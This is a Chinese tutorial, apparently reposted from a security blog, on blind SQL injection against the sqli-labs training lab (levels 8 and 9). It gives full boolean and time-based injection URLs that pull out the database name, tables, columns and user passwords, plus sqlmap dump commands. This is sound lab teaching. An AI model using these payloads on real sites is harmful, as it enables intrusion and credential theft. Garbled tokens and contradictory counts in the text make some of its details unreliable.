程序笔记   发布时间:2022-07-03  发布网站:大佬教程  code.js-code.com
大佬教程收集整理的这篇文章主要介绍了3. web安全之sql注入(3)大佬教程大佬觉得挺不错的,现在分享给大家,也给大家做个参考。

            sql注入之盲注

  • 目录

  • 盲注原理

  • 布尔盲注

  • 时间盲注

  • sqlmap盲注


 

 

一. 盲注原理

1. 盲注应用场景

盲注常用于与数据库交互无详细回显的地方;布尔盲注根据页面返回值的正常/不正常(对/错)进行注入;时间盲注根据延时函数sleep的延时时间进行注入;

2. 盲注语句解析

布尔盲注常用语句:SELEct id,username,password from users where id='1' and length(database())=8

3. web安全之sql注入(3)

 

 

 

3. web安全之sql注入(3)

 

这里重要的and ;由于and如果为真;则需要左右为真。所以当右边length(database())=x成立时,就会回显正常的页面,当右 边length(database())=x不成立时,就会返回错误的页面;布尔盲注就是根据对/错进行盲注

3. 盲注源码解析

查看sqli-labs-master第八关源码

3. web安全之sql注入(3)

 

 

 @H_923_30@mysql_quert函数:执行一条mysql查询

 mysql_fetch_array函数:从结果集中取得一行作为关联数组,或数字数组

可以看到其中主要就是传入一个get变量$id,然后再执行一条sql语句:"SELECT * FROM users WHERE id='$id' LIMIT 0,1"

然后再进行if判断;如果sql语句存在回显则输出You are in... ...;如果不存在回显则输出  ;也就是sql语句正确则输出You are in... ...;sql语句错误则什么都不输出;

4. 盲注常用函数

length()        查询指定字符串字符数

ascii()           将指定字符转化为ascii码

@H_923_30@mid(data,start,leng)   截取指定长度的字符串

sleep()          延时时间输出

count()          查询数目(个数) 

if()            条件判断语句

二. 布尔盲注

靶机:sqli-labs-master第八关

1. 查询注入点

?id=1' and 1=1-- -    正确;?id=1' and 1=2-- -    错误

3. web安全之sql注入(3)

 

 

 

3. web安全之sql注入(3)

 

 2. 查询数据库

(1)查询数据库名字符数

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and length(database())=8-- -

查询出来字符数为8

3. web安全之sql注入(3)

 

 

 (2)查询数据库名第一个字符

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(mid(database(),1,1))=115-- -

 

 根据ascii码进行对比得出第一个字符为s

ascii对照表——ASCII码一览表,ASCII码对照表 (biancheng wangt.cc )

3. web安全之sql注入(3)

 

 后面的直接使用burp爆破就可以了

burp爆破步骤:

1)设置代理;拦截数据包

3. web安全之sql注入(3)

 

 

 2)转发进intruder(快捷键Ctrl+l)

 

3. web安全之sql注入(3)

 

 

 3)设置爆破位置(变量)

3. web安全之sql注入(3)

 

 4)选择payloads进行配置字典

第一个参数

3. web安全之sql注入(3)

 

 第二个参数

3. web安全之sql注入(3)

 

 

 5)进行爆破;挑选出寻在回显的参数;

3. web安全之sql注入(3)

 

 

 根据位置和ascii数值,很容易得出数据库名为security

3. 查询数据表

(1)查询数据表数目

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (SELEct count(table_Name) from information_scheR_346_11845@a.tables where table_scheR_346_11845@a='security')=4-- -

得到security数据库下属表个数为5

3. web安全之sql注入(3)

 

 

 (2)查询第一个表字符数

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (SELEct length(table_Name) from information_scheR_346_11845@a.tables where table_scheR_346_11845@a='security' limit 0,1)=6-- -

得出第一个表字符数为6

3. web安全之sql注入(3)

(3) 查询第一个表的第一个字符

3. web安全之sql注入(3)

 

 

 其余字符类似改变mid函数起始位;其余表类似改变limit函数起始位;得出存在users表

4. 查询字段

(1)查询users表字段数目

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (SELEct count(column_Name) from information_scheR_346_11845@a.columns where table_name='users' and table_scheR_346_11845@a='security')=3-- -

查询得到users表下面有3个字段

3. web安全之sql注入(3)

 

 (2) 查询第一个字段的字符数

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (SELEct length(column_Name) from information_scheR_346_11845@a.columns where table_name='users' and table_scheR_346_11845@a='security' limit 0,1)=2-- -

可以得出第一个字段字段数为2  

3. web安全之sql注入(3)

 

 (3)查询第一个字段的第一个字符

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (SELEct ascii(mid((column_Name),1,1)) from information_scheR_346_11845@a.columns where table_name='users' and table_scheR_346_11845@a='security' limit 0,1)=105-- -

得出第一个字段的第一个字符为 i

3. web安全之sql注入(3)

 

 

 同理;可得第二个字符为d;第二个表为username;第三个表为password

5. 查询数据

(1)查询数据字符数

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (SELEct length(concat(id,0x7e,username,0x7e,password)) from users limit 0,1)=11-- -

得到第一个(id~username~password)的字符数为11

3. web安全之sql注入(3)

 

 

 (2)查询数据字符

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (SELEct ascii(mid((concat(id,0x7e,username,0x7e,password)),1,1)) from users limit 0,1)=49-- -

 得到第一个字符数为1

 

3. web安全之sql注入(3)

 

 其余依旧上面的例子可以得出所有数据

 

3. 时间盲注

靶机:sqli-labs-master第九关

时间盲注和布尔盲注的唯一区别:布尔盲注根据回显判断对错;时间盲注根据时间延时判断对错

 

1. 查询注入点

发现mysql有个特性:

3. web安全之sql注入(3)

 

 

 只要如果查询为数字,主要第一个数字和数据库匹配;且后面不加数字;其余任何字符无影响(只对于数字索引)

发现第九题无论输入何值,都返回固定的数值;所以布尔盲注不能使用;只能使用延时盲注判断注入点

3. web安全之sql注入(3)

 

 

 ?id=1' and if(1=1,sleep(0),sleep(5))-- - 时,延时较短2s;?id=1' and if(1=2,sleep(0),sleep(5))-- - 时,延时较长7s

存在注入点,且闭合符号‘

3. web安全之sql注入(3)

 

 

@H_220_607@

 

 

 

 2. 查询数据库

(1)查询数据库字符数

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((SELEct length(database()))=8,sleep(5),sleep(0))-- -

当等于8时延时较长;所以数据库字符数为8

3. web安全之sql注入(3)

 

 

 

3. web安全之sql注入(3)

 

 (2)查询数据库第一个字符

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((SELEct ascii(mid(database(),1,1)))=115,sleep(5),sleep(0))-- -

 

 当第一个字符ascii码为115时,延时较长;所以数据库第一个字符为s

3. web安全之sql注入(3)

 

 

 

3. web安全之sql注入(3)

 

 之后同理,改变mid函数起始位的位置,可以得出数据库名为security

3. 查询表

(1)查询security下表个数

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((SELEct count(table_Name) from information_scheR_346_11845@a.tables where table_scheR_346_11845@a='security')=4,sleep(5),sleep(0))-- -

当表格数为4时延时较长;所以security数据库下有4个表

3. web安全之sql注入(3)

 

 

3. web安全之sql注入(3)

3. web安全之sql注入(3)

 

 

 

(2)查询第一个表字符数

 

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((SELEct length(table_Name) from information_scheR_346_11845@a.tables where table_scheR_346_11845@a='security' limit 0,1)=6,sleep(5),sleep(0))-- -

 

当字符数为6时,延时较长,所以第一个表字符数为6

3. web安全之sql注入(3)

 

3. web安全之sql注入(3)

 

 

(3)查询第一表第一个字符

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((SELEct ascii(mid((table_Name),1,1)) from information_scheR_346_11845@a.tables where table_scheR_346_11845@a='security' limit 0,1)=101,sleep(5),sleep(0))-- -

当第一个数ascii码为101时,延时较长;所以第一个表第一个字符为e

3. web安全之sql注入(3)

 

 

 安装上面的格式查,可以查到4个表中有一个users的表

4. 查询字段

(1)查询users表下面的字段数目

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((SELEct count(column_Name) from information_scheR_346_11845@a.columns where table_name='users' and table_scheR_346_11845@a='security')=3,sleep(5),sleep(0))-- -

查询出users表下面存在5个字段

3. web安全之sql注入(3)

 

 

 

(2)查询users表第一个字段字符数

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((SELEct length(column_Name) from information_scheR_346_11845@a.columns where table_name='users' and table_scheR_346_11845@a='security' limit 0,1)=2,sleep(5),sleep(0))-- -

第一个字段字符数为2

3. web安全之sql注入(3)

 

 

 

 

 

(3)查询第一个字段的第一个字符

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((SELEct ascii(mid(column_name,1,1)) from information_scheR_346_11845@a.columns where table_name='users' and table_scheR_346_11845@a='security' limit 0,1)=105,sleep(5),sleep(0))-- -

第一个字段的第一个字符为i 

3. web安全之sql注入(3)

 

 依旧上面的套路可以得出全部字段:id username password

5. 查询数据

(1)查询第一列数据字符数

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((SELEct length(concat(id,0x7e,username,0x7e,password)) from users limit 0,1)=11,sleep(5),sleep(0))-- -

 

说明第一列的id~username~password组合为11个字符

 

3. web安全之sql注入(3)

 

 

 查询第一列的第一个字符

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((SELEct ascii(mid(concat(id,0x7e,username,0x7e,password),1,1)) from users limit 0,1)=49,sleep(5),sleep(0))-- -

 得出第一列第一个字符为1

3. web安全之sql注入(3)

 

 

 依次可得出第一列的全部字符为: 1~Dumb~Dumb

 

sqlmap工具盲注

1. sqlmap常用参数

-u      指定url

 

-p      指定注入参数

 

-D      指定数据库名

 

-T      指定表名

 

-C      指定列名

 

--dbs       查询所有数据库名

 

--current-db  查询当前数据库名

 

--tables    查询所有表

 

--columns   查询所有列

 

--batch     自动化默认操作

 

-r       指定路径          burp抓到的包指定路径(适合post;有cookie;免验证)

 

--forms      自动识别post表单参数    适合无登录的url,或手动添加cookie

 

--cookie    指定cookie

--technique Q   指定注入方式为内联查询

 

--technique B   指定注入方式为布尔盲注

--technique T    指定注入方式为时间盲注

--technique U    指定注入方式为联合查询

2. sqlmap布尔盲注

靶机:sqli-labs-master 第8关

攻击机:127.0.0.1

(1)查询是否存在注入点

sqlmap -u "127.0.0.1/sqli-labs-master/Less-8/?id=1" --technique B --batch

 查询得出id是基于布尔的可注入点

3. web安全之sql注入(3)

 

 

3. web安全之sql注入(3)

 

 

3. web安全之sql注入(3)

 

 (2)查询当前数据库名

sqlmap -u "127.0.0.1/sqli-labs-master/Less-8/?id=1" --technique B --current-db --batch

3. web安全之sql注入(3)

 

 (3)查询表名

sqlmap -u "127.0.0.1/sqli-labs-master/Less-8/?id=1" --technique B -D security --tables --batch

3. web安全之sql注入(3)

 

(4)查询字段名

sqlmap -u "127.0.0.1/sqli-labs-master/Less-8/?id=1" --technique B -D security -T users --columns --batch

  

3. web安全之sql注入(3)

 

 (5)查询数据

sqlmap -u "127.0.0.1/sqli-labs-master/Less-8/?id=1" --technique B -D security -T users -C username --dump --batch

3. web安全之sql注入(3)

 

 

 

3. sqlmap时间盲注

 

靶机:sqli-labs-master 第九关

 

时间盲注与布尔盲注相同,不过需要将 --technique B 换为 --technique T

(1)查询是否存在注入点

(2)查询数据库名

(3)查询表名

(4)查询字段名

(5)查询数据

sqlmap -u "127.0.0.1/sqli-labs-master/Less-9/?id=1" --technique T -D security -T users -C username --dump --batch

  

3. web安全之sql注入(3)

 

 

3. web安全之sql注入(3)

 

 注入的太慢不想等了;不过时间足够长是可以注入成功的

 

大佬总结

以上是大佬教程为你收集整理的3. web安全之sql注入(3)全部内容,希望文章能够帮你解决3. web安全之sql注入(3)所遇到的程序开发问题。

如果觉得大佬教程网站内容还不错,欢迎将大佬教程推荐给程序员好友。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。